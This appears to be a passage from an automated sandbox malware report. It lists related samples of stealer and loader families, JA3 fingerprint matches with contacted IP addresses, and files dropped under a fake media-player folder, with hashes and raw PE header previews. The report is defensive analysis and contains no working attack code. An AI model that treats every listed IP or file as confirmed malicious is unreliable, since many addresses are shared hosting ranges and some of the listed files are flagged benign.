	bashirc.x86_64	Get hash	malicious	Unknown	Browse	51.255.171.23
	d.py	Get hash	malicious	PwnRig Miner	Browse	51.255.171.23
	MDE_File_Sample_c7da8e8d530606f98d3014dbf9ce345b0d07dd48.zip	Get hash	malicious	Unknown	Browse	51.222.239.230
	IMG-20231215-WA0005[94].vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	144.217.159.195
	PO46823.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	51.91.30.159
	AWWS.exe	Get hash	malicious	FormBook, NSISDropper	Browse	144.217.153.176
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	198.245.61.196

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	172.67.215.49 104.21.88.149
	SimpleROOSg.exe	Get hash	malicious	Unknown	Browse	172.67.215.49 104.21.88.149
	lC8uzWy9b0.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	172.67.215.49 104.21.88.149
	TbysngVFpK.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	172.67.215.49 104.21.88.149
	NKA6vEqGZU.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	172.67.215.49 104.21.88.149
	34Vbs_File.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.49 104.21.88.149
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	172.67.215.49 104.21.88.149
	Nueva_orden_de_compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	172.67.215.49 104.21.88.149
	Items_order.vbs	Get hash	malicious	XWorm	Browse	172.67.215.49 104.21.88.149
	k#U00e9p_Felsorolt_t#U00e9telek.vbs	Get hash	malicious	XWorm	Browse	172.67.215.49 104.21.88.149
	Order_012024.vbs	Get hash	malicious	Redline Clipper	Browse	172.67.215.49 104.21.88.149
	BOL_Inv_20231218508466_6269422738.js	Get hash	malicious	Unknown	Browse	172.67.215.49 104.21.88.149
	BOL_Inv_20231218508466_6269422738.js	Get hash	malicious	Unknown	Browse	172.67.215.49 104.21.88.149
	Mobiles Arbeiten_aktuelle Tagesliste 2 Halbjahr 2023.xlsm	Get hash	malicious	Unknown	Browse	172.67.215.49 104.21.88.149
	GarEwUZuLO.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	172.67.215.49 104.21.88.149
	Zgh9WMogTw.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	172.67.215.49 104.21.88.149
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	172.67.215.49 104.21.88.149
	microsoftprofile.vbs	Get hash	malicious	Remcos	Browse	172.67.215.49 104.21.88.149
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	172.67.215.49 104.21.88.149
	bbSC5jm8tF.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, Vidar, zgRAT	Browse	172.67.215.49 104.21.88.149
523e76adb7aac8f6a8b2bf1f35d85d1f	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
	BRvptajioG.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	178.33.163.4 103.20.214.243 198.49.23.145 185.230.63.107 198.185.159.144 198.49.23.144 172.217.15.206 15.197.192.55 69.20.103.147 13.248.169.48 64.91.249.20 83.98.155.23 104.21.4.150 199.59.243.225 199.34.228.152 104.21.20.204 217.160.0.164 199.60.103.25 213.186.33.19 96.45.112.177 192.252.146.15 192.185.100.42 87.98.154.146 199.60.103.2 76.223.105.230 65.8.178.81 23.227.38.74 34.133.154.140 95.128.72.24 104.26.7.37 151.101.1.195 217.19.254.237 185.230.63.171 23.227.38.32 103.26.43.131 199.34.228.100 66.96.160.139 162.159.134.42 34.149.87.45 69.49.101.57 185.103.16.167 77.72.0.94 205.178.187.19 54.69.113.134 95.173.180.22 3.64.163.50 157.112.187.45 108.163.227.170 45.56.74.212 172.67.181.211 209.126.24.60 3.33.130.190 162.215.248.230 166.62.28.100
83d60721ecc423892660e275acc4dffd	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	91.213.233.138
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	91.213.233.138
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	91.213.233.138
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	91.213.233.138
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	91.213.233.138
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	91.213.233.138
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	91.213.233.138
	K6DjJpNlzI.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	91.213.233.138
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	91.213.233.138
	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc, Vidar	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc, Vidar	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	91.213.233.138
	BRvptajioG.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.213.233.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.213.233.138
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.213.233.138
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.213.233.138

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse
	GarEwUZuLO.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	Zgh9WMogTw.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	bbSC5jm8tF.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, Vidar, zgRAT	Browse
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen22.40922.17747.3927.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40922.3885.25077.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40922.29866.19302.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40920.18605.8983.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40920.19202.199.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40921.27608.22557.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40889.14381.24582.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40888.11234.29256.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40922.20827.5895.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40889.6199.15025.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.FileRepMalware.17564.26341.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40889.32699.17687.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse

Created / dropped Files

C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2875391
Entropy (8bit):	6.306445824472355
Encrypted:	false
SSDEEP:	49152:7CEtFh29Lk6ofzVBe7N2ohVoHwdsVNfeSX:uEtFhg4bzfe7TroQd0NfeO
MD5:	025F0305F33F6C3E7F55217194C451AE
SHA1:	AB3CDED0FE2EBECF06A639C2739F4D039A39DED7
SHA-256:	E122E038DF0854C023D89060E1EACBD953C8B8436C1491AB0FC5A64DDFE86560
SHA-512:	DACD5CF8CC3A773D01D6762CEF776B74B7CB0C0F6F7AE54C0582F875EF5C59AA2148BCF14A708331332AA759EF967E7245D114BC4E6761767E928530FAA8F746
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 33%
Joe Sandbox View:	Filename: xSLm8YQMXX.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.mX..>X..>X..>7..>Y..>...>L..>7..>b..>:..>T..>X..>...>X..>K..>n1.>Y..>...>Y..>RichX..>................PE..L.....e.................p...........5............@...........................,.....I.,.....................................X...........x............................................................................................................text....b.......p.................. ..`.rdata...2.......@..................@..@.data...\|O.......0..................@....rsrc...x...........................@..@.tcell....... ......................`...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	337408
Entropy (8bit):	6.515131904432587
Encrypted:	false
SSDEEP:	6144:3nzsyDn7PDS+FDflUjvJUkbEOyF1rOpsuCOuOff5k4F/lTRHA:3377SKfgvqkbFyFJCRRzH
MD5:	62D2156E3CA8387964F7AA13DD1CCD5B
SHA1:	A5067E046ED9EA5512C94D1D17C394D6CF89CCCA
SHA-256:	59CBFBA941D3AC0238219DAA11C93969489B40F1E8B38FABDB5805AC3DD72BFA
SHA-512:	006F7C46021F339B6CBF9F0B80CFFA74ABB8D48E12986266D069738C4E6BDB799BFBA4B8EE4565A01E90DBE679A96A2399D795A6EAD6EACBB4818A155858BF60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: xSLm8YQMXX.exe, Detection: malicious, Browse Filename: 3XbeWk4htl.exe, Detection: malicious, Browse Filename: GarEwUZuLO.exe, Detection: malicious, Browse Filename: Zgh9WMogTw.exe, Detection: malicious, Browse Filename: NBHEkIKDCr.exe, Detection: malicious, Browse Filename: o7dKnIGaW3.exe, Detection: malicious, Browse Filename: bbSC5jm8tF.exe, Detection: malicious, Browse Filename: 74APa4Tj5X.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40922.17747.3927.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40922.3885.25077.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40922.29866.19302.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40920.18605.8983.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40920.19202.199.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40921.27608.22557.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40889.14381.24582.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40888.11234.29256.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40922.20827.5895.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40889.6199.15025.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.17564.26341.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen22.40889.32699.17687.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@..\|...\|...\|...p...\|...w...\|.d.r...\|...v...\|...x...\|.i.#...\|...}.\|.\|.d.!...\|...w...\|..V....\|...v...\|.......\|. .z...\|.Rich..\|.........PE..L....r.b.....................>......\........ ....@.......................................@.....................................x....0.......................@...3................................................... ..(............................text............................... ..`.rdata..r.... ......................@..@.data....'..........................@....sxdata...... ......................@....rsrc........0......................@..@.reloc...<...@...>..................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\COPYING.LGPLv2.1 (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	26526
Entropy (8bit):	4.600837395607617
Encrypted:	false
SSDEEP:	384:Lc56OuAbnn0UReX6wFDVxnFw7xqsvzt+z/k8E9HinIhFkspcM9bc7ups0CZuQG:Lc5trLeDnFMz1ReScmc7GshZuQG
MD5:	BD7A443320AF8C812E4C18D1B79DF004
SHA1:	37D2F1D62FEC4DA0CAF06E5DA21AFC3521B597AA
SHA-256:	B634AB5640E258563C536E658CAD87080553DF6F34F62269A21D554844E58BFE
SHA-512:	21AEF7129B5B70E3F9255B1EA4DC994BF48B8A7F42CD90748D71465738D934891BBEC6C6FC6A1CCFAF7D3F35496677D62E2AF346D5E8266F6A51AE21A65C4460
Malicious:	false
Preview:	GNU LESSER GENERAL PUBLIC LICENSE. Version 2.1, February 1999.. Copyright (C) 1991, 1999 Free Software Foundation, Inc.. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed...[This is the first released version of the Lesser GPL. It also counts. as the successor of the GNU Library Public License, version 2, hence. the version number 2.1.].. Preamble.. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.Licenses are intended to guarantee your freedom to share and change.free software--to make sure the software is free for all its users... This license, the Lesser General Public License, applies to some.specially designated software packages--typically libraries--of the.Free Software Foundation and other authors who

C:\Program Files (x86)\VBPlayerLIB\bin\x86\OptimFROG.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214016
Entropy (8bit):	6.676457645865373
Encrypted:	false
SSDEEP:	3072:v3UEEkp2yVTcc295GSSazZq0/OlxAOxN5jZ2Ti30ezAg0Fu9RBhk1Xion:cEEpYcc2G/adqLtxLZ2+vAO9Hhkzn
MD5:	2C747F19BF1295EBBDAB9FB14BB19EE2
SHA1:	6F3B71826C51C739D6BB75085E634B2B2EF538BC
SHA-256:	D2074B91A63219CFD3313C850B2833CD579CC869EF751B1F5AD7EDFB77BD1EDD
SHA-512:	C100C0A5AF52D951F3905884E9B9D0EC1A0D0AEBE70550A646BA6E5D33583247F67CA19E1D045170A286D92EE84E1676A6C1B0527E017A35B6242DD9DEE05AF4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}6,.9WB.9WB.9WB...9.:WB.9WC.hWB....;WB."..&WB."..WB."...WB.9WB.?WB."..8WB."..8WB."..8WB.Rich9WB.........PE..L......W...........!.....N...........n.......`............................................@.........................`...h.......(....`..X....................p.......................................................`...............................text...?L.......N.................. ..`.rdata......`.......R..............@..@.data....W.......2..................@....rsrc...X....`......................@..@.reloc..f&...p...(..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127669
Entropy (8bit):	7.952352167575405
Encrypted:	false
SSDEEP:	3072:kdGUCKL7Wn/OzU2ThapTv773+HMnBasgGlBM:dn/mU8K/3EgNgoM
MD5:	75C1D7A3BDF1A309C540B998901A35A7
SHA1:	B06FEEAC73D496C435C66B9B7FF7514CBE768D84
SHA-256:	6303F205127C3B16D9CF1BDF4617C96109A03C5F2669341FBC0E1D37CD776B29
SHA-512:	8D2BBB7A7AD34529117C8D5A122F4DAF38EA684AACD09D5AD0051FA41264F91FD5D86679A57913E5ADA917F94A5EF693C39EBD8B465D7E69EF5D53EF941AD2EE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L....O?\...........!.................`.......................................p............@..........................b.......a.......0..@...........................................................................<b..H.................................... ..........................@..@.rsrc........0......................@..@......... ...@.........................@petite.......`......................`..`..........................................fE...nj.:<...n...1..}..r..". .S(...#!............7..5.Q..0..}.. .....^y...U...@..3.........&.lp(.pt.a......!..`@C.O3G7..."\..w.1u.$4..1h...M...K6.L...L..~.w...b2x-.......9k".....".V\............o..................qO&.......4(."0.Zy....2..Y..Z..:2.XM..D....a&..&.L,......./+......c<...^.2.x0..H.618....Q.Q.5.%...Z1.I.......a...q-}.0..D....o.!.....O.......B....# O.!....cY5.#...n.`..1...r!.)].:...m.f.....x....N"t.j..l.....:/...,.v........8F.N...X..j.R......"...&...

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_aac.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149845
Entropy (8bit):	7.893881970959476
Encrypted:	false
SSDEEP:	3072:y0z4JQHu5EvSA/JqiK2s6g+hUCQiMVQ623hi3JKz8KQP6ZwhQrNrbZ:yUju5GY7l+CCYVQ62YUzXQiqhQrJbZ
MD5:	526E02E9EB8953655EB293D8BAC59C8F
SHA1:	7CA6025602681EF6EFDEE21CD11165A4A70AA6FE
SHA-256:	E2175E48A93B2A7FA25ACC6879F3676E04A0C11BB8CDFD8D305E35FD9B5BBBB4
SHA-512:	053EB66D17E5652A12D5F7FAF03F02F35D1E18146EE38308E39838647F91517F8A9DC0B7A7748225F2F48B8F0347B0A33215D7983E85FCA55EF8679564471F0B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L....r.[...........!....U....D............... ............................... ............@.........................P...........d............................N..........................................................8............................................@..................@..@.rsrc................B..............@..@.......................................@petite..U.......U....F..............`..`.....................................5....`K...=1.;;..s}....3500.z.<..]goR.lVO..C..j...........O......9#f.S.$1.b.D.8...VX....sb .A.%I......B.........R...Z5.............y......_W.0.!..T..nT.V..J..s.1`..V...Cb.2x0......0B...4...D.`...!.>[7..^;w'.u"W/...).P.m...P.......qF<.~1..T.>F.F.Rr.`...N....3$...w.L..P..SQP]C^.....2...%5.v...3.a`.k....q.0.o..A......k.....B..P.h.fy..jyb...<t$.%c-...<9.1#2.7./0.j.o#~...,!fuJ.M..a...(...0@.........,..t.3d"qva....fm.=.....]....s...z}-X..3................y>.!......g..E

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_fx.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	34392
Entropy (8bit):	7.81689943223162
Encrypted:	false
SSDEEP:	768:mYBs3O9YL558R6R8P8W2rjQZQtfTIxRYsetoPNvPWIl+syr:vsUY15mqzW2u8rIxisFcJr
MD5:	EA245B00B9D27EF2BD96548A50A9CC2C
SHA1:	8463FDCDD5CED10C519EE0B406408AE55368E094
SHA-256:	4824A06B819CBE49C485D68A9802D9DAE3E3C54D4C2D8B706C8A87B56CEEFBF3
SHA-512:	EF1E107571402925AB5B1D9B096D7CEFF39C1245A23692A3976164D0DE0314F726CCA0CB10246FE58A13618FD5629A92025628373B3264153FC1D79B0415D9A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ph..4...4...4.......0...[...0...[...6...4.......V...0...`*..........5....)......Rich4...........................PE..L.....T...........!................6 .......................................0......................................D#..y....!..d.......X............................................................................................................................z..................`....rsrc...........X...................@..@....................................`...petite....... ......................`...................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_ofr.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5960
Entropy (8bit):	5.956401374574174
Encrypted:	false
SSDEEP:	96:dj78cqhzbWKlECE7WbjDFf6IhaYYUOAoDf4+XCVhovG9AkM7Ui10:CjlEJ7WbjDFf6waYvdc4gYAkM10
MD5:	B3CC560AC7A5D1D266CB54E9A5A4767E
SHA1:	E169E924405C2114022674256AFC28FE493FBFDF
SHA-256:	EDDE733A8D2CA65C8B4865525290E55B703530C954F001E68D1B76B2A54EDCB5
SHA-512:	A836DECACB42CC3F7D42E2BF7A482AE066F5D1DF08CCCC466880391028059516847E1BF71E4C6A90D2D34016519D16981DDEEACFB94E166E4A9A720D9CC5D699
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L......I...........!.....4...T......6`....... ...............................p......................................lc.......a.......@..H....................................................................................................................0..........................`....rsrc........@..H...................@..@.............P......................@................`......................`.......................................X....E......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!...`..f.`P....h....j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.e...h....P..0................0..............h.... ..0...........6...........k...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_tta.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7910
Entropy (8bit):	6.931925007191986
Encrypted:	false
SSDEEP:	192:piDl1jKrGer007ia6abHX0d/aeHeN+VPHIJQxNiJCl9AK0f:IDJ9aDb30dCe+4PHIJrJCl9AK0f
MD5:	1268DEA570A7511FDC8E70C1149F6743
SHA1:	1D646FC69145EC6A4C0C9CAD80626AD40F22E8CD
SHA-256:	F266DBA7B23321BF963C8D8B1257A50E1467FAAAB9952EF7FFED1B6844616649
SHA-512:	E19F0EA39FF7AA11830AF5AAD53343288C742BE22299C815C84D24251FA2643B1E0401AF04E5F9B25CAB29601EA56783522DDB06C4195C6A609804880BAE9E9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
